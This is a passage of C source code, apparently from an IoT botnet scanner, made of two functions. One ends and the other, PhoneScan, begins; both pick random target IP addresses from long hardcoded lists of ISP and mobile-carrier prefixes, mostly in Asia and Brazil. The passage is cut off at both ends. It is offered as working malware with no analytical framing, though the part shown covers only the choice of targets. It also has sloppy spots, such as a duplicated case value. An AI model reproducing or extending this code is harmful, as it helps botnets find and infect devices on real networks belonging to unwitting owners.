  901. szprintf(ip, "137.59.%d.%d", ipState[2], ipState[3]);
  902. }
  903. if(randnum == 16)
  904. {
  905. szprintf(ip, "14.204.%d.%d", ipState[2], ipState[3]);
  906. }
  907. if(randnum == 17)
  908. {
  909. szprintf(ip, "27.50.%d.%d", ipState[2], ipState[3]);
  910. }
  911. if(randnum == 18)
  912. {
  913. szprintf(ip, "27.54.%d.%d", ipState[2], ipState[3]);
  914. }
  915. if(randnum == 19)
  916. {
  917. szprintf(ip, "27.98.%d.%d", ipState[2], ipState[3]);
  918. }
  919. if(randnum == 20)
  920. {
  921. szprintf(ip, "36.32.%d.%d", ipState[2], ipState[3]);
  922. }
  923. if(randnum == 21)
  924. {
  925. szprintf(ip, "36.248.%d.%d", ipState[2], ipState[3]);
  926. }
  927. if(randnum == 22)
  928. {
  929. szprintf(ip, "39.64.%d.%d", ipState[2], ipState[3]);
  930. }
  931. if(randnum == 23)
  932. {
  933. szprintf(ip, "43.253.%d.%d", ipState[2], ipState[3]);
  934. }
  935. if(randnum == 24)
  936. {
  937. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  938. }
  939. if(randnum == 25)
  940. {
  941. szprintf(ip, "163.53.%d.%d", ipState[2], ipState[3]);
  942. }
  943. if(randnum == 26)
  944. {
  945. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  946. }
  947. if(randnum == 27)
  948. {
  949. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  950. }
  951. if(randnum == 28)
  952. {
  953. szprintf(ip, "123.25.%d.%d", ipState[2], ipState[3]);
  954. }
  955. if(randnum == 29)
  956. {
  957. szprintf(ip, "103.54.%d.%d", ipState[2], ipState[3]);
  958. }
  959. if(randnum == 30)
  960. {
  961. szprintf(ip, "27.255.%d.%d", ipState[2], ipState[3]);
  962. }
  963. if(randnum == 31)
  964. {
  965. szprintf(ip, "103.204.%d.%d", ipState[2], ipState[3]);
  966. }
  967. if(randnum == 32)
  968. {
  969. szprintf(ip, "123.24.%d.%d", ipState[2], ipState[3]);
  970. }
  971. if(randnum == 33)
  972. {
  973. szprintf(ip, "113.191.%d.%d", ipState[2], ipState[3]);
  974. }
  975. if(randnum == 34)
  976. {
  977. szprintf(ip, "113.188.%d.%d", ipState[2], ipState[3]);
  978. }
  979. if(randnum == 34)
  980. {
  981. szprintf(ip, "113.189.%d.%d", ipState[2], ipState[3]);
  982. }
  983. if(randnum == 35)
  984. {
  985. szprintf(ip, "14.160.%d.%d", ipState[2], ipState[3]);
  986. }
  987. if(randnum == 36)
  988. {
  989. szprintf(ip, "14.161.%d.%d", ipState[2], ipState[3]);
  990. }
  991. if(randnum == 37)
  992. {
  993. szprintf(ip, "14.162.%d.%d", ipState[2], ipState[3]);
  994. }
  995. if(randnum == 38)
  996. {
  997. szprintf(ip, "14.163.%d.%d", ipState[2], ipState[3]);
  998. }
  999. if(randnum == 39)
  1000. {
  1001. szprintf(ip, "14.164.%d.%d", ipState[2], ipState[3]);
  1002. }
  1003. if(randnum == 40)
  1004. {
  1005. szprintf(ip, "14.165.%d.%d", ipState[2], ipState[3]);
  1006. }
  1007. if(randnum == 41)
  1008. {
  1009. szprintf(ip, "14.166.%d.%d", ipState[2], ipState[3]);
  1010. }
  1011. if(randnum == 42)
  1012. {
  1013. szprintf(ip, "14.167.%d.%d", ipState[2], ipState[3]);
  1014. }
  1015. if(randnum == 43)
  1016. {
  1017. szprintf(ip, "14.168.%d.%d", ipState[2], ipState[3]);
  1018. }
  1019. if(randnum == 44)
  1020. {
  1021. szprintf(ip, "14.169.%d.%d", ipState[2], ipState[3]);
  1022. }
  1023. if(randnum == 45)
  1024. {
  1025. szprintf(ip, "14.170.%d.%d", ipState[2], ipState[3]);
  1026. }
  1027. if(randnum == 46)
  1028. {
  1029. szprintf(ip, "14.171.%d.%d", ipState[2], ipState[3]);
  1030. }
  1031. if(randnum == 47)
  1032. {
  1033. szprintf(ip, "14.172.%d.%d", ipState[2], ipState[3]);
  1034. }
  1035. if(randnum == 48)
  1036. {
  1037. szprintf(ip, "14.173.%d.%d", ipState[2], ipState[3]);
  1038. }
  1039. if(randnum == 49)
  1040. {
  1041. szprintf(ip, "14.174.%d.%d", ipState[2], ipState[3]);
  1042. }
  1043. if(randnum == 50)
  1044. {
  1045. szprintf(ip, "14.175.%d.%d", ipState[2], ipState[3]);
  1046. }
  1047. if(randnum == 51)
  1048. {
  1049. szprintf(ip, "14.176.%d.%d", ipState[2], ipState[3]);
  1050. }
  1051. if(randnum == 52)
  1052. {
  1053. szprintf(ip, "14.177.%d.%d", ipState[2], ipState[3]);
  1054. }
  1055. if(randnum == 53)
  1056. {
  1057. szprintf(ip, "14.178.%d.%d", ipState[2], ipState[3]);
  1058. }
  1059. if(randnum == 54)
  1060. {
  1061. szprintf(ip, "14.179.%d.%d", ipState[2], ipState[3]);
  1062. }
  1063. if(randnum == 55)
  1064. {
  1065. szprintf(ip, "14.180.%d.%d", ipState[2], ipState[3]);
  1066. }
  1067. if(randnum == 56)
  1068. {
  1069. szprintf(ip, "14.181.%d.%d", ipState[2], ipState[3]);
  1070. }
  1071. if(randnum == 57)
  1072. {
  1073. szprintf(ip, "14.182.%d.%d", ipState[2], ipState[3]);
  1074. }
  1075. if(randnum == 58)
  1076. {
  1077. szprintf(ip, "14.183.%d.%d", ipState[2], ipState[3]);
  1078. }
  1079. if(randnum == 59)
  1080. {
  1081. szprintf(ip, "14.184.%d.%d", ipState[2], ipState[3]);
  1082. }
  1083. if(randnum == 60)
  1084. {
  1085. szprintf(ip, "14.185.%d.%d", ipState[2], ipState[3]);
  1086. }
  1087. if(randnum == 61)
  1088. {
  1089. szprintf(ip, "14.186.%d.%d", ipState[2], ipState[3]);
  1090. }
  1091. if(randnum == 62)
  1092. {
  1093. szprintf(ip, "14.187.%d.%d", ipState[2], ipState[3]);
  1094. }
  1095. if(randnum == 63)
  1096. {
  1097. szprintf(ip, "14.188.%d.%d", ipState[2], ipState[3]);
  1098. }
  1099. if(randnum == 64)
  1100. {
  1101. szprintf(ip, "14.189.%d.%d", ipState[2], ipState[3]);
  1102. }
  1103. if(randnum == 65)
  1104. {
  1105. szprintf(ip, "14.190.%d.%d", ipState[2], ipState[3]);
  1106. }
  1107. if(randnum == 66)
  1108. {
  1109. szprintf(ip, "14.191.%d.%d", ipState[2], ipState[3]);
  1110. }
  1111. if(randnum == 67)
  1112. {
  1113. szprintf(ip, "45.121.%d.%d", ipState[2], ipState[3]);
  1114. }
  1115. if(randnum == 68)
  1116. {
  1117. szprintf(ip, "45.120.%d.%d", ipState[2], ipState[3]);
  1118. }
  1119. if(randnum == 69)
  1120. {
  1121. szprintf(ip, "45.115.%d.%d", ipState[2], ipState[3]);
  1122. }
  1123. if(randnum == 70)
  1124. {
  1125. szprintf(ip, "43.252.%d.%d", ipState[2], ipState[3]);
  1126. }
  1127. if(randnum == 71)
  1128. {
  1129. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  1130. }
  1131. if(randnum == 72)
  1132. {
  1133. szprintf(ip, "43.240.%d.%d", ipState[2], ipState[3]);
  1134. }
  1135. if(randnum == 73)
  1136. {
  1137. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  1138. }
  1139. if(randnum == 74)
  1140. {
  1141. szprintf(ip, "41.174.%d.%d", ipState[2], ipState[3]);
  1142. }
  1143. if(randnum == 75)
  1144. {
  1145. szprintf(ip, "45.127.%d.%d", ipState[2], ipState[3]);
  1146. }
  1147. if(randnum == 76)
  1148. {
  1149. szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
  1150. }
  1151. if(randnum == 77)
  1152. {
  1153. szprintf(ip, "123.16.%d.%d", ipState[2], ipState[3]);
  1154. }
  1155. if(randnum == 78)
  1156. {
  1157. szprintf(ip, "202.44.%d.%d", ipState[2], ipState[3]);
  1158. }
  1159. if(randnum == 79)
  1160. {
  1161. szprintf(ip, "116.93.%d.%d", ipState[2], ipState[3]);
  1162. }
  1163. if(randnum == 80)
  1164. {
  1165. szprintf(ip, "41.253.%d.%d", ipState[2], ipState[3]);
  1166. }
  1167. if(randnum == 81)
  1168. {
  1169. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  1170. }
  1171. if(randnum == 82)
  1172. {
  1173. szprintf(ip, "113.190.%d.%d", ipState[2], ipState[3]);
  1174. }
  1175. if(randnum == 83)
  1176. {
  1177. szprintf(ip, "112.196.%d.%d", ipState[2], ipState[3]);
  1178. }
  1179. if(randnum == 84)
  1180. {
  1181. szprintf(ip, "113.178.%d.%d", ipState[2], ipState[3]);
  1182. }
  1183. if(randnum == 85)
  1184. {
  1185. szprintf(ip, "112.45.%d.%d", ipState[2], ipState[3]);
  1186. }
  1187. if(randnum == 86)
  1188. {
  1189. szprintf(ip, "183.223.%d.%d", ipState[2], ipState[3]);
  1190. }
  1191. if(randnum == 87)
  1192. {
  1193. szprintf(ip, "116.71.%d.%d", ipState[2], ipState[3]);
  1194. }
  1195. if(randnum == 88)
  1196. {
  1197. szprintf(ip, "103.44.%d.%d", ipState[2], ipState[3]);
  1198. }
  1199. if(randnum == 89)
  1200. {
  1201. szprintf(ip, "110.235.%d.%d", ipState[2], ipState[3]);
  1202. }
  1203. if(randnum == 90)
  1204. {
  1205. szprintf(ip, "124.253.%d.%d", ipState[2], ipState[3]);
  1206. }
  1207. if(randnum == 91)
  1208. {
  1209. szprintf(ip, "211.237.%d.%d", ipState[2], ipState[3]);
  1210. }
  1211. if(randnum == 92)
  1212. {
  1213. szprintf(ip, "117.175.%d.%d", ipState[2], ipState[3]);
  1214. }
  1215. if(randnum == 93)
  1216. {
  1217. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  1218. }
  1219. if(randnum == 94)
  1220. {
  1221. szprintf(ip, "111.9.%d.%d", ipState[2], ipState[3]);
  1222. }
  1223. if(randnum == 95)
  1224. {
  1225. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  1226. }
  1227. if(randnum == 96)
  1228. {
  1229. szprintf(ip, "113.174.%d.%d", ipState[2], ipState[3]);
  1230. }
  1231. if(randnum == 97)
  1232. {
  1233. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  1234. }
  1235. if(randnum == 98)
  1236. {
  1237. szprintf(ip, "113.160.%d.%d", ipState[2], ipState[3]);
  1238. }
  1239. if(randnum == 99)
  1240. {
  1241. szprintf(ip, "113.161.%d.%d", ipState[2], ipState[3]);
  1242. }
  1243. if(randnum == 100)
  1244. {
  1245. szprintf(ip, "113.162.%d.%d", ipState[2], ipState[3]);
  1246. }
  1247. if(randnum == 101)
  1248. {
  1249. szprintf(ip, "113.163.%d.%d", ipState[2], ipState[3]);
  1250. }
  1251. if(randnum == 102)
  1252. {
  1253. szprintf(ip, "113.164.%d.%d", ipState[2], ipState[3]);
  1254. }
  1255. if(randnum == 103)
  1256. {
  1257. szprintf(ip, "113.165.%d.%d", ipState[2], ipState[3]);
  1258. }
  1259. if(randnum == 104)
  1260. {
  1261. szprintf(ip, "113.166.%d.%d", ipState[2], ipState[3]);
  1262. }
  1263. if(randnum == 105)
  1264. {
  1265. szprintf(ip, "113.167.%d.%d", ipState[2], ipState[3]);
  1266. }
  1267. if(randnum == 106)
  1268. {
  1269. szprintf(ip, "113.168.%d.%d", ipState[2], ipState[3]);
  1270. }
  1271. if(randnum == 107)
  1272. {
  1273. szprintf(ip, "113.169.%d.%d", ipState[2], ipState[3]);
  1274. }
  1275. if(randnum == 108)
  1276. {
  1277. szprintf(ip, "123.17.%d.%d", ipState[2], ipState[3]);
  1278. }
  1279. if(randnum == 109)
  1280. {
  1281. szprintf(ip, "123.21.%d.%d", ipState[2], ipState[3]);
  1282. }
  1283. if(randnum == 110)
  1284. {
  1285. szprintf(ip, "123.22.%d.%d", ipState[2], ipState[3]);
  1286. }
  1287. if(randnum == 111)
  1288. {
  1289. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  1290. }
  1291. if(randnum == 112)
  1292. {
  1293. szprintf(ip, "222.253.%d.%d", ipState[2], ipState[3]);
  1294. }
  1295. if(randnum == 113)
  1296. {
  1297. szprintf(ip, "222.254.%d.%d", ipState[2], ipState[3]);
  1298. }
  1299. if(randnum == 114)
  1300. {
  1301. szprintf(ip, "222.255.%d.%d", ipState[2], ipState[3]);
  1302. }
  1303. if(randnum == 115)
  1304. {
  1305. szprintf(ip, "41.208.%d.%d", ipState[2], ipState[3]);
  1306. }
  1307.  
  1308. if(randnum == 116)
  1309. {
  1310. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  1311. }
  1312. if(randnum == 117)
  1313. {
  1314. szprintf(ip, "88.248.%d.%d", ipState[2], ipState[3]);
  1315. }
  1316. if(randnum == 118)
  1317. {
  1318. szprintf(ip, "88.105.%d.%d", ipState[2], ipState[3]);
  1319. }
  1320. if(randnum == 119)
  1321. {
  1322. szprintf(ip, "88.247.%d.%d", ipState[2], ipState[3]);
  1323. }
  1324. if(randnum == 120)
  1325. {
  1326. szprintf(ip, "85.105.%d.%d", ipState[2], ipState[3]);
  1327. }
  1328. if(randnum == 121)
  1329. {
  1330. szprintf(ip, "188.3.%d.%d", ipState[2], ipState[3]);
  1331. }
  1332. if(randnum == 122)
  1333. {
  1334. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  1335. }
  1336. if(randnum == 123)
  1337. {
  1338. szprintf(ip, "103.55.%d.%d", ipState[2], ipState[3]);
  1339. }
  1340. if(randnum == 124)
  1341. {
  1342. szprintf(ip, "103.220.%d.%d", ipState[2], ipState[3]);
  1343. }
  1344. if(randnum == 125)
  1345. {
  1346. szprintf(ip, "183.233.%d.%d", ipState[2], ipState[3]);
  1347. }
  1348. if(randnum == 126)
  1349. {
  1350. szprintf(ip, "103.242.%d.%d", ipState[2], ipState[3]);
  1351. }
  1352. if(randnum == 127)
  1353. {
  1354. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  1355. }
  1356. if(randnum == 128)
  1357. {
  1358. szprintf(ip, "103.14.%d.%d", ipState[2], ipState[3]);
  1359. }
  1360. if(randnum == 129)
  1361. {
  1362. szprintf(ip, "103.195.%d.%d", ipState[2], ipState[3]);
  1363. }
  1364. if(randnum == 130)
  1365. {
  1366. szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
  1367. }
  1368. if(randnum == 131)
  1369. {
  1370. szprintf(ip, "103.214.%d.%d", ipState[2], ipState[3]);
  1371. }
  1372. if(randnum == 132)
  1373. {
  1374. szprintf(ip, "103.218.%d.%d", ipState[2], ipState[3]);
  1375. }
  1376. if(randnum == 133)
  1377. {
  1378. szprintf(ip, "103.225.%d.%d", ipState[2], ipState[3]);
  1379. }
  1380. if(randnum == 134)
  1381. {
  1382. szprintf(ip, "103.228.%d.%d", ipState[2], ipState[3]);
  1383. }
  1384. if(randnum == 135)
  1385. {
  1386. szprintf(ip, "103.231.%d.%d", ipState[2], ipState[3]);
  1387. }
  1388. if(randnum == 136)
  1389. {
  1390. szprintf(ip, "103.60.%d.%d", ipState[2], ipState[3]);
  1391. }
  1392. if(randnum == 137)
  1393. {
  1394. szprintf(ip, "103.248.%d.%d", ipState[2], ipState[3]);
  1395. }
  1396. if(randnum == 138)
  1397. {
  1398. szprintf(ip, "103.253.%d.%d", ipState[2], ipState[3]);
  1399. }
  1400. if(randnum == 139)
  1401. {
  1402. szprintf(ip, "103.255.%d.%d", ipState[2], ipState[3]);
  1403. }
  1404. if(randnum == 140)
  1405. {
  1406. szprintf(ip, "113.176.%d.%d", ipState[2], ipState[3]);
  1407. }
  1408. if(randnum == 141)
  1409. {
  1410. szprintf(ip, "113.175.%d.%d", ipState[2], ipState[3]);
  1411. }
  1412. if(randnum == 142)
  1413. {
  1414. szprintf(ip, "203.134.%d.%d", ipState[2], ipState[3]);
  1415. }
  1416. if(randnum == 143)
  1417. {
  1418. szprintf(ip, "203.210.%d.%d", ipState[2], ipState[3]);
  1419. }
  1420. if(randnum == 144)
  1421. {
  1422. szprintf(ip, "117.176.%d.%d", ipState[2], ipState[3]);
  1423. }
  1424. if(randnum == 145)
  1425. {
  1426. szprintf(ip, "117.171.%d.%d", ipState[2], ipState[3]);
  1427. }
  1428. if(randnum == 146)
  1429. {
  1430. szprintf(ip, "117.162.%d.%d", ipState[2], ipState[3]);
  1431. }
  1432. if(randnum == 147)
  1433. {
  1434. szprintf(ip, "203.150.%d.%d", ipState[2], ipState[3]);
  1435. }
  1436. if(randnum == 148)
  1437. {
  1438. szprintf(ip, "157.119.%d.%d", ipState[2], ipState[3]);
  1439. }
  1440. if(randnum == 149)
  1441. {
  1442. szprintf(ip, "43.228.%d.%d", ipState[2], ipState[3]);
  1443. }
  1444. if(randnum == 150)
  1445. {
  1446. szprintf(ip, "162.12.%d.%d", ipState[2], ipState[3]);
  1447. }
  1448. if(randnum == 151)
  1449. {
  1450. szprintf(ip, "115.220.%d.%d", ipState[2], ipState[3]);
  1451. }
  1452. if(randnum == 152)
  1453. {
  1454. szprintf(ip, "125.114.%d.%d", ipState[2], ipState[3]);
  1455. }
  1456. return inet_addr(ip);
  1457. }
  1458.  
  1459. in_addr_t PhoneScan()
  1460. {
  1461. ipState[0] = 0;
  1462. ipState[1] = 0;
  1463. ipState[2] = 0;
  1464. ipState[3] = 0;
  1465. ipState[0] = rand() % 255;
  1466. ipState[1] = rand() % 255;
  1467. ipState[2] = rand() % 255;
  1468. ipState[3] = rand() % 255;
  1469. int randnum = rand() % 117;
  1470. char ip[16];
  1471. if(randnum == 0)
  1472. {
  1473. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1474. }
  1475. if(randnum == 1)
  1476. {
  1477. szprintf(ip, "119.150.%d.%d", ipState[2], ipState[3]);
  1478. }
  1479. if(randnum == 2)
  1480. {
  1481. szprintf(ip, "119.151.%d.%d", ipState[2], ipState[3]);
  1482. }
  1483. if(randnum == 3)
  1484. {
  1485. szprintf(ip, "119.152.%d.%d", ipState[2], ipState[3]);
  1486. }
  1487. if(randnum == 4)
  1488. {
  1489. szprintf(ip, "119.153.%d.%d", ipState[2], ipState[3]);
  1490. }
  1491. if(randnum == 5)
  1492. {
  1493. szprintf(ip, "119.154.%d.%d", ipState[2], ipState[3]);
  1494. }
  1495. if(randnum == 6)
  1496. {
  1497. szprintf(ip, "119.155.%d.%d", ipState[2], ipState[3]);
  1498. }
  1499. if(randnum == 7)
  1500. {
  1501. szprintf(ip, "119.156.%d.%d", ipState[2], ipState[3]);
  1502. }
  1503. if(randnum == 8)
  1504. {
  1505. szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
  1506. }
  1507. if(randnum == 9)
  1508. {
  1509. szprintf(ip, "119.158.%d.%d", ipState[2], ipState[3]);
  1510. }
  1511. if(randnum == 10)
  1512. {
  1513. szprintf(ip, "119.159.%d.%d", ipState[2], ipState[3]);
  1514. }
  1515. if(randnum == 11)
  1516. {
  1517. szprintf(ip, "191.24.%d.%d", ipState[2], ipState[3]);
  1518. }
  1519. if(randnum == 12)
  1520. {
  1521. szprintf(ip, "187.119.%d.%d", ipState[2], ipState[3]);
  1522. }
  1523. if(randnum == 13)
  1524. {
  1525. szprintf(ip, "177.215.%d.%d", ipState[2], ipState[3]);
  1526. }
  1527. if(randnum == 14)
  1528. {
  1529. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1530. }
  1531. if(randnum == 15)
  1532. {
  1533. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1534. }
  1535. if(randnum == 16)
  1536. {
  1537. szprintf(ip, "179.80.%d.%d", ipState[2], ipState[3]);
  1538. }
  1539. if(randnum == 17)
  1540. {
  1541. szprintf(ip, "179.81.%d.%d", ipState[2], ipState[3]);
  1542. }
  1543. if(randnum == 18)
  1544. {
  1545. szprintf(ip, "179.82.%d.%d", ipState[2], ipState[3]);
  1546. }
  1547. if(randnum == 19)
  1548. {
  1549. szprintf(ip, "179.83.%d.%d", ipState[2], ipState[3]);
  1550. }
  1551. if(randnum == 20)
  1552. {
  1553. szprintf(ip, "179.84.%d.%d", ipState[2], ipState[3]);
  1554. }
  1555. if(randnum == 21)
  1556. {
  1557. szprintf(ip, "179.86.%d.%d", ipState[2], ipState[3]);
  1558. }
  1559. if(randnum == 22)
  1560. {
  1561. szprintf(ip, "179.87.%d.%d", ipState[2], ipState[3]);
  1562. }
  1563. if(randnum == 23)
  1564. {
  1565. szprintf(ip, "179.88.%d.%d", ipState[2], ipState[3]);
  1566. }
  1567. if(randnum == 24)
  1568. {
  1569. szprintf(ip, "179.89.%d.%d", ipState[2], ipState[3]);
  1570. }
  1571. if(randnum == 25)
  1572. {
  1573. szprintf(ip, "179.90.%d.%d", ipState[2], ipState[3]);
  1574. }
  1575. if(randnum == 26)
  1576. {
  1577. szprintf(ip, "179.91.%d.%d", ipState[2], ipState[3]);
  1578. }
  1579. if(randnum == 27)
  1580. {
  1581. szprintf(ip, "179.92.%d.%d", ipState[2], ipState[3]);
  1582. }
  1583. if(randnum == 28)
  1584. {
  1585. szprintf(ip, "179.93.%d.%d", ipState[2], ipState[3]);
  1586. }
  1587. if(randnum == 29)
  1588. {
  1589. szprintf(ip, "179.94.%d.%d", ipState[2], ipState[3]);
  1590. }
  1591. if(randnum == 30)
  1592. {
  1593. szprintf(ip, "179.95.%d.%d", ipState[2], ipState[3]);
  1594. }
  1595. if(randnum == 31)
  1596. {
  1597. szprintf(ip, "179.96.%d.%d", ipState[2], ipState[3]);
  1598. }
  1599. if(randnum == 32)
  1600. {
  1601. szprintf(ip, "179.97.%d.%d", ipState[2], ipState[3]);
  1602. }
  1603. if(randnum == 33)
  1604. {
  1605. szprintf(ip, "179.98.%d.%d", ipState[2], ipState[3]);
  1606. }
  1607. if(randnum == 34)
  1608. {
  1609. szprintf(ip, "179.99.%d.%d", ipState[2], ipState[3]);
  1610. }
  1611. if(randnum == 35)
  1612. {
  1613. szprintf(ip, "152.240.%d.%d", ipState[2], ipState[3]);
  1614. }
  1615. if(randnum == 36)
  1616. {
  1617. szprintf(ip, "152.241.%d.%d", ipState[2], ipState[3]);
  1618. }
  1619. if(randnum == 37)
  1620. {
  1621. szprintf(ip, "152.242.%d.%d", ipState[2], ipState[3]);
  1622. }
  1623. if(randnum == 38)
  1624. {
  1625. szprintf(ip, "152.243.%d.%d", ipState[2], ipState[3]);
  1626. }
  1627. if(randnum == 39)
  1628. {
  1629. szprintf(ip, "152.244.%d.%d", ipState[2], ipState[3]);
  1630. }
  1631. if(randnum == 40)
  1632. {
  1633. szprintf(ip, "152.245.%d.%d", ipState[2], ipState[3]);
  1634. }
  1635. if(randnum == 41)
  1636. {
  1637. szprintf(ip, "152.246.%d.%d", ipState[2], ipState[3]);
  1638. }
  1639. if(randnum == 42)
  1640. {
  1641. szprintf(ip, "152.247.%d.%d", ipState[2], ipState[3]);
  1642. }
  1643. if(randnum == 43)
  1644. {
  1645. szprintf(ip, "152.248.%d.%d", ipState[2], ipState[3]);
  1646. }
  1647. if(randnum == 44)
  1648. {
  1649. szprintf(ip, "152.249.%d.%d", ipState[2], ipState[3]);
  1650. }
  1651. if(randnum == 45)
  1652. {
  1653. szprintf(ip, "182.189.%d.%d", ipState[2], ipState[3]);
  1654. }
  1655. if(randnum == 46)
  1656. {
  1657. szprintf(ip, "182.190.%d.%d", ipState[2], ipState[3]);
  1658. }
  1659. if(randnum == 47)
  1660. {
  1661. szprintf(ip, "182.191.%d.%d", ipState[2], ipState[3]);
  1662. }
  1663. if(randnum == 48)
  1664. {
  1665. szprintf(ip, "182.188.%d.%d", ipState[2], ipState[3]);
  1666. }
  1667. if(randnum == 49)
  1668. {
  1669. szprintf(ip, "182.187.%d.%d", ipState[2], ipState[3]);
  1670. }
  1671. if(randnum == 50)
  1672. {
  1673. szprintf(ip, "182.186.%d.%d", ipState[2], ipState[3]);
  1674. }
  1675. if(randnum == 51)
  1676. {
  1677. szprintf(ip, "182.185.%d.%d", ipState[2], ipState[3]);
  1678. }
  1679. if(randnum == 52)
  1680. {
  1681. szprintf(ip, "182.184.%d.%d", ipState[2], ipState[3]);
  1682. }
  1683. if(randnum == 53)
  1684. {
  1685. szprintf(ip, "179.100.%d.%d", ipState[2], ipState[3]);
  1686. }
  1687. if(randnum == 54)
  1688. {
  1689. szprintf(ip, "179.101.%d.%d", ipState[2], ipState[3]);
  1690. }
  1691. if(randnum == 55)
  1692. {
  1693. szprintf(ip, "179.102.%d.%d", ipState[2], ipState[3]);
  1694. }
  1695. if(randnum == 56)
  1696. {
  1697. szprintf(ip, "179.103.%d.%d", ipState[2], ipState[3]);
  1698. }
  1699. if(randnum == 57)
  1700. {
  1701. szprintf(ip, "179.110.%d.%d", ipState[2], ipState[3]);
  1702. }
  1703. if(randnum == 58)
  1704. {
  1705. szprintf(ip, "179.111.%d.%d", ipState[2], ipState[3]);
  1706. }
  1707. if(randnum == 59)
  1708. {
  1709. szprintf(ip, "179.112.%d.%d", ipState[2], ipState[3]);
  1710. }
  1711. if(randnum == 60)
  1712. {
  1713. szprintf(ip, "179.113.%d.%d", ipState[2], ipState[3]);
  1714. }
  1715. if(randnum == 61)
  1716. {
  1717. szprintf(ip, "179.114.%d.%d", ipState[2], ipState[3]);
  1718. }
  1719. if(randnum == 62)
  1720. {
  1721. szprintf(ip, "179.115.%d.%d", ipState[2], ipState[3]);
  1722. }
  1723. if(randnum == 63)
  1724. {
  1725. szprintf(ip, "179.116.%d.%d", ipState[2], ipState[3]);
  1726. }
  1727. if(randnum == 64)
  1728. {
  1729. szprintf(ip, "179.117.%d.%d", ipState[2], ipState[3]);
  1730. }
  1731. if(randnum == 65)
  1732. {
  1733. szprintf(ip, "191.193.%d.%d", ipState[2], ipState[3]);
  1734. }
  1735. if(randnum == 66)
  1736. {
  1737. szprintf(ip, "191.194.%d.%d", ipState[2], ipState[3]);
  1738. }
  1739. if(randnum == 67)
  1740. {
  1741. szprintf(ip, "191.195.%d.%d", ipState[2], ipState[3]);
  1742. }
  1743. if(randnum == 68)
  1744. {
  1745. szprintf(ip, "191.196.%d.%d", ipState[2], ipState[3]);
  1746. }
  1747. if(randnum == 69)
  1748. {
  1749. szprintf(ip, "191.197.%d.%d", ipState[2], ipState[3]);
  1750. }
  1751. if(randnum == 70)
  1752. {
  1753. szprintf(ip, "191.198.%d.%d", ipState[2], ipState[3]);
  1754. }
  1755. if(randnum == 71)
  1756. {
  1757. szprintf(ip, "152.250.%d.%d", ipState[2], ipState[3]);
  1758. }
  1759. if(randnum == 72)
  1760. {
  1761. szprintf(ip, "152.251.%d.%d", ipState[2], ipState[3]);
  1762. }
  1763. if(randnum == 73)
  1764. {
  1765. szprintf(ip, "152.252.%d.%d", ipState[2], ipState[3]);
  1766. }
  1767. if(randnum == 74)
  1768. {
  1769. szprintf(ip, "152.253.%d.%d", ipState[2], ipState[3]);
  1770. }
  1771. if(randnum == 75)
  1772. {
  1773. szprintf(ip, "152.254.%d.%d", ipState[2], ipState[3]);
  1774. }
  1775. if(randnum == 76)
  1776. {
  1777. szprintf(ip, "152.255.%d.%d", ipState[2], ipState[3]);
  1778. }
  1779. if(randnum == 77)
  1780. {
  1781. szprintf(ip, "177.112.%d.%d", ipState[2], ipState[3]);
  1782. }
  1783. if(randnum == 78)
  1784. {
  1785. szprintf(ip, "177.113.%d.%d", ipState[2], ipState[3]);
  1786. }
  1787. if(randnum == 79)
  1788. {
  1789. szprintf(ip, "177.114.%d.%d", ipState[2], ipState[3]);
  1790. }
  1791. if(randnum == 80)
  1792. {
  1793. szprintf(ip, "177.115.%d.%d", ipState[2], ipState[3]);
  1794. }
  1795. if(randnum == 81)
  1796. {
  1797. szprintf(ip, "177.116.%d.%d", ipState[2], ipState[3]);
  1798. }
  1799. if(randnum == 82)
  1800. {
  1801. szprintf(ip, "177.117.%d.%d", ipState[2], ipState[3]);
  1802. }
  1803. if(randnum == 83)
  1804. {
  1805. szprintf(ip, "177.118.%d.%d", ipState[2], ipState[3]);
  1806. }
  1807. if(randnum == 84)
  1808. {
  1809. szprintf(ip, "177.119.%d.%d", ipState[2], ipState[3]);
  1810. }
  1811. if(randnum == 85)
  1812. {
  1813. szprintf(ip, "177.120.%d.%d", ipState[2], ipState[3]);
  1814. }
  1815. if(randnum == 86)
  1816. {
  1817. szprintf(ip, "177.121.%d.%d", ipState[2], ipState[3]);
  1818. }
  1819. if(randnum == 87)
  1820. {
  1821. szprintf(ip, "177.138.%d.%d", ipState[2], ipState[3]);
  1822. }
  1823. if(randnum == 88)
  1824. {
  1825. szprintf(ip, "177.139.%d.%d", ipState[2], ipState[3]);
  1826. }
  1827. if(randnum == 89)
  1828. {
  1829. szprintf(ip, "177.144.%d.%d", ipState[2], ipState[3]);
  1830. }
  1831. if(randnum == 90)
  1832. {
  1833. szprintf(ip, "177.145.%d.%d", ipState[2], ipState[3]);
  1834. }
  1835. if(randnum == 91)
  1836. {
  1837. szprintf(ip, "177.146.%d.%d", ipState[2], ipState[3]);
  1838. }
  1839. if(randnum == 92)
  1840. {
  1841. szprintf(ip, "177.147.%d.%d", ipState[2], ipState[3]);
  1842. }
  1843. if(randnum == 93)
  1844. {
  1845. szprintf(ip, "177.160.%d.%d", ipState[2], ipState[3]);
  1846. }
  1847. if(randnum == 94)
  1848. {
  1849. szprintf(ip, "177.161.%d.%d", ipState[2], ipState[3]);
  1850. }
  1851. if(randnum == 95)
  1852. {
  1853. szprintf(ip, "177.162.%d.%d", ipState[2], ipState[3]);
  1854. }
  1855. if(randnum == 96)
  1856. {
  1857. szprintf(ip, "177.163.%d.%d", ipState[2], ipState[3]);
  1858. }
  1859. if(randnum == 97)
  1860. {
